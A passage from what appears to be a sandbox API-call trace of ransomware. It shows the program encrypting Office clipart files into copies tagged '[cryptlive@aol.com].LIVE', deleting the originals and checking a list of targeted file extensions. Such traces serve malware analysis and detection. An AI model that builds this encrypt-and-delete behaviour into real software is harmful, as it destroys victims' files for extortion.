dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.922] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20096) returned 1 [0160.922] CloseHandle (hObject=0x3c4) returned 1 [0160.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0160.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.923] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.923] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.942] GetLastError () returned 0x0 [0160.942] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4e80, lpOverlapped=0x0) returned 1 [0160.944] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4e90, lpOverlapped=0x0) returned 1 [0160.945] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.945] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.945] SetEndOfFile (hFile=0x384) returned 1 [0160.945] CloseHandle (hObject=0x384) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.946] SetEndOfFile (hFile=0x3c4) returned 1 [0160.948] CloseHandle (hObject=0x3c4) returned 1 [0160.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString=".doc") returned 4 [0161.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString=".docx") returned 5 [0161.111] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.111] lstrlenW (lpString=".pdf") returned 4 [0161.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString=".xls") returned 4 [0161.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.111] lstrlenW (lpString=".xlsx") returned 5 [0161.111] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.111] lstrlenW (lpString=".ppt") returned 4 [0161.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString=".zip") returned 4 [0161.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.111] lstrlenW (lpString=".rar") returned 4 [0161.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString=".bz2") returned 4 [0161.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString=".7z") returned 3 [0161.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString=".dbf") returned 4 [0161.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString=".1cd") returned 4 [0161.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.111] lstrlenW (lpString=".jpg") returned 4 [0161.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.112] lstrlenW (lpString=".doc") returned 4 [0161.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString=".docx") returned 5 [0161.112] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.112] lstrlenW (lpString=".pdf") returned 4 [0161.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString=".xls") returned 4 [0161.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.112] lstrlenW (lpString=".xlsx") returned 5 [0161.112] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.112] lstrlenW (lpString=".ppt") returned 4 [0161.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.112] lstrlenW (lpString=".zip") returned 4 [0161.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.112] lstrlenW (lpString=".rar") returned 4 [0161.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString=".bz2") returned 4 [0161.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString=".7z") returned 3 [0161.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.112] lstrlenW (lpString=".dbf") returned 4 [0161.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.112] lstrlenW (lpString=".1cd") returned 4 [0161.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0161.113] lstrlenW (lpString=".jpg") returned 4 [0161.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.113] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.113] lstrlenW (lpString="J0153302.WMF") returned 12 [0161.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.126] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=30800) returned 1 [0161.126] CloseHandle (hObject=0x314) returned 1 [0161.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0161.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.197] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.198] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.200] GetLastError () returned 0x0 [0161.200] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7850, lpOverlapped=0x0) returned 1 [0161.216] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7860, lpOverlapped=0x0) returned 1 [0161.218] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.218] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.218] SetEndOfFile (hFile=0x1dc) returned 1 [0161.219] CloseHandle (hObject=0x1dc) returned 1 [0161.219] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.219] SetEndOfFile (hFile=0x1b4) returned 1 [0161.222] CloseHandle (hObject=0x1b4) returned 1 [0161.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.224] lstrlenW (lpString=".doc") returned 4 [0161.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString=".docx") returned 5 [0161.225] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.225] lstrlenW (lpString=".pdf") returned 4 [0161.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString=".xls") returned 4 [0161.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.225] lstrlenW (lpString=".xlsx") returned 5 [0161.225] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.225] lstrlenW (lpString=".ppt") returned 4 [0161.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.225] lstrlenW (lpString=".zip") returned 4 [0161.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.225] lstrlenW (lpString=".rar") returned 4 [0161.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString=".bz2") returned 4 [0161.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString=".7z") returned 3 [0161.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.225] lstrlenW (lpString=".dbf") returned 4 [0161.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.225] lstrlenW (lpString=".1cd") returned 4 [0161.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.226] lstrlenW (lpString=".jpg") returned 4 [0161.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.226] lstrlenW (lpString=".doc") returned 4 [0161.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.226] lstrlenW (lpString=".docx") returned 5 [0161.226] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.226] lstrlenW (lpString=".pdf") returned 4 [0161.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.226] lstrlenW (lpString=".xls") returned 4 [0161.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.226] lstrlenW (lpString=".xlsx") returned 5 [0161.226] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.226] lstrlenW (lpString=".ppt") returned 4 [0161.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.226] lstrlenW (lpString=".zip") returned 4 [0161.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.227] lstrlenW (lpString=".rar") returned 4 [0161.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.227] lstrlenW (lpString=".bz2") returned 4 [0161.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.227] lstrlenW (lpString=".7z") returned 3 [0161.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.227] lstrlenW (lpString=".dbf") returned 4 [0161.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.227] lstrlenW (lpString=".1cd") returned 4 [0161.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0161.227] lstrlenW (lpString=".jpg") returned 4 [0161.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.335] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.335] lstrlenW (lpString="J0153508.WMF") returned 12 [0161.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.377] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=34256) returned 1 [0161.377] CloseHandle (hObject=0x1e0) returned 1 [0161.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0161.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.479] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.479] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.480] GetLastError () returned 0x0 [0161.480] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x85d0, lpOverlapped=0x0) returned 1 [0161.482] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x85e0, lpOverlapped=0x0) returned 1 [0161.484] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.484] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.484] SetEndOfFile (hFile=0x384) returned 1 [0161.484] CloseHandle (hObject=0x384) returned 1 [0161.484] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.484] SetEndOfFile (hFile=0x3c4) returned 1 [0161.487] CloseHandle (hObject=0x3c4) returned 1 [0161.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0161.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.489] lstrlenW (lpString=".doc") returned 4 [0161.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString=".docx") returned 5 [0161.489] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.489] lstrlenW (lpString=".pdf") returned 4 [0161.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString=".xls") returned 4 [0161.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.489] lstrlenW (lpString=".xlsx") returned 5 [0161.489] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.489] lstrlenW (lpString=".ppt") returned 4 [0161.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.489] lstrlenW (lpString=".zip") returned 4 [0161.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.489] lstrlenW (lpString=".rar") returned 4 [0161.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString=".bz2") returned 4 [0161.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString=".7z") returned 3 [0161.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.489] lstrlenW (lpString=".dbf") returned 4 [0161.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.489] lstrlenW (lpString=".1cd") returned 4 [0161.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString=".jpg") returned 4 [0161.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString=".doc") returned 4 [0161.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString=".docx") returned 5 [0161.490] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.490] lstrlenW (lpString=".pdf") returned 4 [0161.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString=".xls") returned 4 [0161.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.490] lstrlenW (lpString=".xlsx") returned 5 [0161.490] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.490] lstrlenW (lpString=".ppt") returned 4 [0161.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString=".zip") returned 4 [0161.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.490] lstrlenW (lpString=".rar") returned 4 [0161.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString=".bz2") returned 4 [0161.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString=".7z") returned 3 [0161.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString=".dbf") returned 4 [0161.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.490] lstrlenW (lpString=".1cd") returned 4 [0161.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0161.491] lstrlenW (lpString=".jpg") returned 4 [0161.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.491] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.491] lstrlenW (lpString="J0157177.WMF") returned 12 [0161.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.492] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21716) returned 1 [0161.492] CloseHandle (hObject=0x3c4) returned 1 [0161.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0161.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 